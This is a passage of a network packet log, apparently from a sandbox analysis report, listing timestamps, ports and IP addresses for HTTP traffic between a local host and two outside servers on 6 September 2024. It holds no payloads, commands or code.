Sep 6, 2024 08:17:07.859581947 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.859668970 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859673977 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859700918 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859707117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859715939 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.859716892 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.859826088 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.859826088 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.860687971 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860732079 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860737085 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860739946 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.860774994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860788107 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860790968 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.860793114 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860799074 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860805035 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860826015 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.860851049 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.860877037 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860882998 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860894918 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860899925 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860904932 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860908985 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860927105 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860930920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860932112 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.860943079 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.860955954 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.860965967 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.861030102 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.861036062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.861046076 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.861051083 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.861058950 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.861083031 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.861095905 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.861304998 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.861356974 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.861366987 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.861371994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.861381054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.861386061 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.861409903 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.861414909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.861419916 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.861422062 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.861454964 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.862185001 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.862189054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.862236023 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.862241983 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.862242937 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.862252951 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.862287045 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.862287045 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.862306118 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.862313032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.862320900 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.862365007 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.865462065 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.865466118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.865514994 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.865586996 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.865593910 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.865598917 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.865603924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.865608931 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.865636110 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.865658998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.865664005 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.865710974 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.875119925 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.875127077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.875137091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.875149965 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.875154972 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.875166893 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.875171900 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.875188112 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.875199080 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.875281096 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.875287056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.875298023 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.875303984 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.875308990 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.875320911 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.875325918 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.875346899 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.875346899 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.875359058 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.881548882 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881556034 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881566048 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881607056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881617069 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.881639004 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881639957 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.881647110 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881689072 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.881700993 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881706953 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881712914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881720066 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881757975 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.881778955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881784916 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881813049 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.881827116 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.881836891 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881843090 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881855965 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881887913 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.881931067 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881937981 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881975889 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.881989002 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.882000923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882026911 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882034063 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882044077 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.882055044 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882062912 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882074118 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.882098913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882110119 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.882119894 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882128000 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882142067 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.882165909 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.882219076 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882225037 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882263899 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882270098 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882273912 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.882309914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882312059 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.882317066 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882339001 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882356882 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.882369041 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882381916 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882381916 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.882390022 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882401943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882406950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882419109 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.882419109 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882436991 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.882452011 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882457972 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882461071 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.882464886 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.882491112 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.882512093 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.882953882 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.882960081 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.882966042 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.882994890 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.882999897 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883012056 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883013964 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.883018017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883050919 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.883050919 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.883091927 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883099079 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883109093 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883115053 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883131027 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883147001 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.883248091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883255005 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883260965 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883266926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883270979 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883301020 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883301973 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.883306980 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883320093 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883325100 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883330107 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883332968 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.883364916 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.883382082 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.883408070 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883414030 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883425951 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883430958 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883471012 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.883537054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883543015 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883548975 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883553028 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883563995 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883577108 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883582115 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883586884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883593082 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883601904 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.883601904 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.883626938 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.883651018 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.883681059 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883687019 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883697987 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883703947 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883708000 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883713961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883721113 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883729935 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.883763075 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.883878946 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883884907 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883896112 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883900881 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883912086 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883919001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883929014 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883934021 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.883939981 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883955956 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883963108 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883965015 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.883965015 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.883969069 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883975029 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883980989 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883986950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.883990049 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.883994102 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.884001970 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.884010077 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.884011984 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.884027004 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.884057045 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.884069920 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.884212017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.884218931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.884229898 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.884236097 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.884242058 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.884253979 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.884279013 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.884300947 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.884300947 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.884350061 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.884356022 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.884366989 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.884371042 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.884376049 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.884382010 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.884387016 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.884399891 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.884403944 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.884407043 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.884433031 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.884450912 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.889189959 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889194965 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889206886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889261961 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.889348984 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889354944 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889367104 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889379025 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889385939 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889395952 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889401913 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889408112 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889411926 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.889437914 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.889441013 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889446974 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889452934 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889457941 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889463902 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889467955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889488935 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.889488935 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.889503956 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.889525890 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.889552116 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889558077 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889569044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889574051 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889584064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889590979 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889596939 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889601946 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889609098 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.889636993 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.889659882 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.889697075 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889703989 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889708996 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889719009 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889725924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889735937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889741898 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889745951 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.889751911 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889784098 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.889811039 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889816999 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889818907 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.889822006 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889832973 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889841080 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889858961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889864922 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889866114 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.889869928 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889889956 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.889906883 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.889991045 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.889997005 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890007019 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890012026 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890017033 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890022039 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890028000 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890033007 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890041113 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890062094 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.890062094 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.890072107 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890077114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.890077114 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.890088081 CEST	80	49737	147.45.44.104	192.168.2.4
